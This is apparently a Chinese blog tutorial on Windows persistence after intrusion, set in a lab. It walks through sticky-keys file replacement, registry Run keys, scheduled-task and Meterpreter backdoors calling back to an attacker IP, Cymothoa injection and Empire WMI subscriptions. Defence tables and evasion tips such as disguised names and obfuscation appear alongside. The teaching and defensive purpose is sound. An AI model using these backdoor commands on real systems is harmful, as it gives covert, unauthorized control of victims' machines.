内网后渗透攻击过程(实验环境)--4、权限维持

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

在进行信息收集、权限提升、横向移动后,接下来就是需要进行权限维持,权限维持是内网后渗透攻击中的关键阶段,其核心目标是在目标系统上建立隐蔽、稳定、长期的控制通道,即使系统重启、用户注销、密码更改或管理员清理部分痕迹后,攻击者仍能重新获得访问权限。

一、核心目标与原则

  1. 隐蔽性: 避免被管理员、安全软件(AV/EDR)、SIEM系统检测。

  2. 稳定性: 确保后门在各种系统状态(重启、注销、网络变化)下都能可靠触发。

  3. 冗余性: 通常部署多个不同类型的后门,以防某个被清除。

  4. 低权限触发: 尽可能在低权限用户上下文中实现持久化,避免需要管理员权限才能触发(但获取管理员权限通常是部署的基础)。

  5. 最小化足迹: 减少文件落地、注册表修改等操作,利用合法机制。

二、主要权限维持技术分类

主要权限维持技术有操作系统后门以及防范Web后门以及防范,域控制器权限持久化以及防范,Nishang下的脚本后门以及防范,这里我们先讲述第一个操作系统后门以及防范。

1、操作系统后门以及防范

定义: 指攻击者在目标操作系统(Windows, Linux, macOS)上植入的,能够在系统启动、用户登录或特定事件发生时自动激活,并为攻击者提供远程访问或命令执行权限的恶意程序或配置。接下来就是讲述几个常见的操作系统后门,

1)粘滞键后门

原理: 利用Windows辅助功能中的“粘滞键”(按五次Shift键触发)机制。攻击者将系统文件 sethc.exe(粘滞键程序)替换为 cmd.exe(命令提示符)或者一个特制的后门程序(通常命名为 sethc.exe)。

触发方式: 在Windows登录界面(锁定屏幕或需要输入密码的界面),连续按五次 Shift 键。

首先需要获取文件所有权

takeown /f C:\Windows\System32\sethc.exe

然后再修改文件权限

icacls C:\Windows\System32\sethc.exe /grant administrators:F

之后进行复制覆盖

copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

🔒 如何防御此攻击?

防护措施操作步骤
禁用粘滞键控制面板 → 轻松使用 → 键盘 → 取消勾选“启用粘滞键”
文件权限加固设置 sethc.exe 的 ACL:仅允许 SYSTEM 和 TrustedInstaller 完全控制
启用BitLocker加密防止攻击者通过外部系统修改硬盘中的系统文件
审计系统文件完整性定期检查 System32 下关键程序(sethc.exe/utilman.exe)的哈希值是否被篡改
组策略限制gpedit.msc → 计算机配置→Windows设置→安全设置→本地策略→安全选项:启用“交互式登录:无需按Ctrl+Alt+Del”
2)注册表注入后门

原理: 修改Windows注册表中特定的自动启动项键值,将恶意程序路径添加到系统或用户登录时自动加载的程序列表中。

触发方式: 系统启动、用户登录、服务启动、特定程序加载(AppInit_DLLs)。

这里我们使用msfconsole来完成,

# 1. 启动 msfconsole
msfconsole

# 2. 使用 exploit/windows/local/persistence 模块
use exploit/windows/local/persistence

# 3. 设置会话 ID(需先获得目标系统的 Meterpreter 会话)
set SESSION 1  # 根据实际会话 ID 修改

# 4. 配置监听地址和端口
set LHOST 192.168.1.100  # 你的攻击机 IP
set LPORT 4444

# 5. 选择注册表位置(可选参数)
set REGKEYNAME Software\Microsoft\Windows\CurrentVersion\Run  # 默认值

# 6. 执行
run

设置后门成功,接下来就是通过设置监听模块进行监听,再重启目标机即可连接

 由于虚拟机操作系统有些问题,没有连接上

以下是 Windows 系统中常用的持久性注册表路径:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run(当前用户启动项)
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run(所有用户启动项)
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit(登录初始化)
  • HKLM\SYSTEM\CurrentControlSet\Services(服务注册表)

注意事项

  1. 权限要求:写入 HKLM 路径需要管理员权限,HKCU 则不需要。
  2. 杀软检测:实际情况下,直接添加可执行文件路径易被检测,建议结合免杀技术(如使用 DLL 注入、混淆脚本)。

 核心防御策略

  1. 最小权限原则:

    • 用户账户: 日常使用非管理员账户。管理员权限仅用于安装软件或系统配置。

    • 服务账户: 确保服务运行在所需的最低权限账户下。

    • 注册表权限: 严格控制敏感注册表项(如RunRunOnce, 服务相关键、文件关联键、Winlogon键等)的写入权限。默认情况下,很多关键位置允许Users组写入,这是重大风险。

3)计划任务后门

原理: 利用Windows任务计划程序创建一个计划任务,该任务会在特定时间、系统启动时、用户登录时、系统空闲时或按特定周期触发执行恶意程序。在windows 7以及之前版本使用at命令创建计划任务,windows 8之后使用schtasks命令。计划任务后门分为管理员权限和普通用户权限两种。

触发方式: 根据任务配置触发(定时、登录、空闲、事件等)。

计划任务后门的基本命令如下

schtasks /Create /tn Updater /tr shell.exe /sc hourly /mo 1
//该命令表示每一个小时执行一次shell.exe

主要有三种渗透测试平台能够模拟计划任务后门,msfconsole,powersploit,empire,这里我们只讲述msfconsole,其它两个这里不再讲述。

# 1. 启动 msfconsole
msfconsole

# 2. 使用 powershell/web_delivery 模块
use exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp  # 选择反弹 shell 类型
set LHOST 192.168.1.100  # 你的攻击机 IP
set LPORT 4444
set SRVHOST 0.0.0.0  # 监听所有接口
set URIPATH /update  # 自定义 URL 路径(增加隐蔽性)
run

执行后,MSF 会在本地启动一个 HTTP 服务器,并生成一段 PowerShell 代码 

然后我们在代码前面再加上其计划任务后门的基本命令,即可完成一个任务后门

放在目标机进行运行,图中并没有加上计划任务命令,大家自行操作

 最后再监听成功连接

注意事项

  • 网络连通性:目标机必须能够访问攻击机的 IP 和端口(建议使用域名 + 443 端口)。
  • 权限要求:创建系统级计划任务需管理员权限。

防御建议

  1. 权限管控

    • 限制修改权限:仅允许管理员修改系统级任务(如 Linux /etc/cron* 目录权限设为 root,Windows 任务设置 ACL)。

    • 禁用普通用户创建任务(如 Linux 限制 crontab 命令使用)。

  2. 审计与监控

    • 启用日志:Linux 检查 /var/log/cron,Windows 查看「事件查看器」中的任务日志。

    • 实时监控:使用工具(如 Auditd、SIEM)监控任务配置文件的变更。

  3. 定期审查

    • 手动检查:定期运行 crontab -l(Linux)或 Get-ScheduledTask(Windows PowerShell)。

    • 自动化扫描:使用安全工具(如 Lynis、OSQuery)检测异常任务。

  4. 安全加固

    • 删除无用任务:停用默认或遗留的冗余任务。

    • 文件完整性检查:监控系统目录(如 /etc/cron.d/)的哈希值变动。

  5. 应急响应

    • 预设清除流程:发现后门立即终止任务、删除文件、溯源并修复漏洞。

4)meterpreter后门

原理: Meterpreter是Metasploit框架中的一个高级、内存驻留型的攻击载荷。Meterpreter后门通常指使用 msfvenom 生成一个独立的可执行文件(.exe, .dll)或脚本(.ps1, .py, .js等),该文件在目标系统上执行后会与Metasploit的监听器建立连接,并注入Meterpreter载荷到内存中运行。

触发方式: 用户直接执行、通过其他漏洞或后门触发执行、文档宏、快捷方式漏洞(LNK)、计划任务等加载。

在这里,我们使用persistence模块来进行创建基础持久化后门。

use exploit/windows/local/persistence
set SESSION 1  # 根据实际会话 ID 修改

# 3. 配置持久化参数(以下为推荐配置)
set LHOST 192.168.1.100  # 与 handler 相同的 IP
set LPORT 4444           # 与 handler 相同的端口
set REGISTRY_KEY HKCU    # 注册表位置(HKCU=当前用户,HKLM=所有用户,需管理员权限)
set STARTUP true         # 开机自启动
set EXE_NAME windowsupdate.exe  # 伪装成系统更新程序
set OBFUSCATE true       # 混淆脚本(降低被杀毒软件检测的概率)

# 4. 执行创建
run

 成功进行后门注入

接下来通过监听模块并且重启目标机即可连接

注意事项

  • 隐蔽性: 通信隐蔽性低(默认配置下),是其最大弱点。需配合加密(如SSL/TLS)、混淆、域前置等技术以及强大的免杀手段来提高隐蔽性。
  • 权限管理HKLM 注册表项需要管理员权限,普通用户只能修改 HKCU

 防御建议

*  及时打补丁:定期更新操作系统、软件及框架(如Java, Adobe, Office),封堵漏洞入口。
*  最小权限原则:用户和进程使用最低必要权限,限制管理员权限滥用。
*  强化配置:禁用不必要的服务/端口(如SMBv1, RDP)、关闭宏执行、限制脚本运行(PowerShell受限模式)。
*  主机防火墙:严格限制入站/出站连接(仅允许必需通信)。

5)Cymothoa后门

原理: Cymothoa是一种进程注入工具/后门。它通过将恶意Shellcode注入到目标主机上一个已存在的、正在运行的进程(如 svchost.exeexplorer.exe)的地址空间中,并在该进程中创建一个新的线程来执行Shellcode。这个Shellcode通常是一个反向连接或绑定Shell的后门。

触发方式: 需要先由攻击者执行Cymothoa程序(通常需管理员权限)选择目标进程进行注入。

效果: 后门代码寄生在合法进程内运行。攻击者获得一个Shell会话(权限取决于目标进程权限)。Cymothoa的一个独特功能是支持“端口复用”,即让后门复用目标进程已经打开的某个网络端口(如80、443)进行通信,极大增加网络隐蔽性。

 这里我只说明其如何使用,这个工具kali自带,想要自己下载的,项目地址:cymothoa download | SourceForge.net

 防御建议

  1. 限制 PowerShell:禁用未签名脚本,启用执行策略(如 Restricted)。
  2. 监控异常:关注可疑 PowerShell 活动(如编码执行)、不明 IP / 端口连接、注册表 / 计划任务异常修改。
  3. 补丁与密码:及时打系统补丁,用强密码,避免弱权限账户。
  4. 软件管控:用白名单限制未知程序运行,部署 EDR 检测恶意行为。
  5. 定期审计:检查异常进程、文件,清理可疑残留。
6)WMI后门 
  • 原理: 利用Windows Management Instrumentation的事件订阅机制。攻击者创建一个永久的WMI事件过滤器和一个对应的事件消费者。

    • 过滤器: 定义触发条件(如特定时间间隔 __IntervalTimer、系统启动 __InstanceCreationEvent within __NAMESPACE、用户登录 __InstanceCreationEvent of Win32_LogonSession、特定进程创建/结束等)。

    • 消费者: 定义触发后执行的操作(如执行一个活动脚本 ActiveScriptEventConsumer - VBS/JS,或一个命令行 CommandLineEventConsumer)。

  • 触发方式: 当过滤器定义的事件发生时(如每X分钟、每次启动、每次登录),系统自动调用消费者执行恶意脚本或命令。

这里我们使用的是Empire 框架中,Invoke-WMI 模块创建基于 WMI(Windows Management Instrumentation)的持久化后门。WMI 后门利用系统原生组件,无需写入文件,隐蔽性极高。由于作者系统问题,empire工具存在一些问题,这里只讲述步骤和命令,操作不再展示

启动 Empire 并创建监听

# 启动 Empire 服务器
./empire --rest --username empireadmin --password Password123!

# 连接到 Empire 控制台(新终端)
./empire

# 创建 HTTP 监听
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://192.168.1.100:8080  # 攻击机 IP 和端口
(Empire: listeners/http) > execute

使用 Invoke-WMI 模块创建后门

# 进入模块
(Empire: main) > usemodule persistence/windows/wmi

# 配置参数
(Empire: modules/persistence/windows/wmi) > set Listener http  # 使用上面创建的监听
(Empire: modules/persistence/windows/wmi) > set Name SystemUpdate  # WMI 事件名称(伪装成系统更新)
(Empire: modules/persistence/windows/wmi) > set EventFilter ProcessCreation  # 事件类型(进程创建)
(Empire: modules/persistence/windows/wmi) > set Trigger "ProcessName LIKE '%explorer.exe%'"  # 触发条件
(Empire: modules/persistence/windows/wmi) > execute

触发后门测试

# 手动启动 explorer.exe 进程触发(或重启系统)
Start-Process explorer.exe

注意事项

  • 权限要求:创建 WMI 后门需要管理员权限(NT AUTHORITY\SYSTEM)。

防御建议

  1. 监控 WMI 活动

    • 使用 Windows 事件日志(事件 ID 5861)监控 WMI 过滤器创建。
    • 部署 EDR 工具检测异常 WMI 事件订阅。
  2. 限制 WMI 权限

    • 通过组策略限制普通用户访问 WMI 命名空间。
    • 使用 AppLocker 或 WDAC 阻止未授权的 WMI 脚本执行。

接下来对各个后门方式进行总结与对比

后门类型主要依赖机制触发条件显著优点显著缺点/检测关键点隐蔽性评价
粘滞键后门文件替换 (sethc)登录界面按5次Shift登录前获取SYSTEM CMD需替换系统文件,易被文件监控中等偏低
注册表后门注册表自启动项启动/登录方法多样,原生支持注册表键值易被扫描 (Autoruns)中等
计划任务后门任务计划程序定时/登录/空闲/事件灵活,高权限,可伪装任务列表可查 (schtasks)中等到高
Meterpreter可执行文件/脚本执行文件功能极其强大通信特征明显,易被检测拦截通信隐蔽性低
Cymothoa进程注入 & 端口复用注入操作 (需先执行)进程寄生 & 端口复用高隐蔽注入操作监控,内存分析
WMI后门WMI 事件订阅定时/启动/登录/事件无文件存储,系统进程执行需查WMI仓库 (特定命令/工具)非常高

操作系统比较常见的后门总结差不多,接下来就是Web后门以及防范 。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值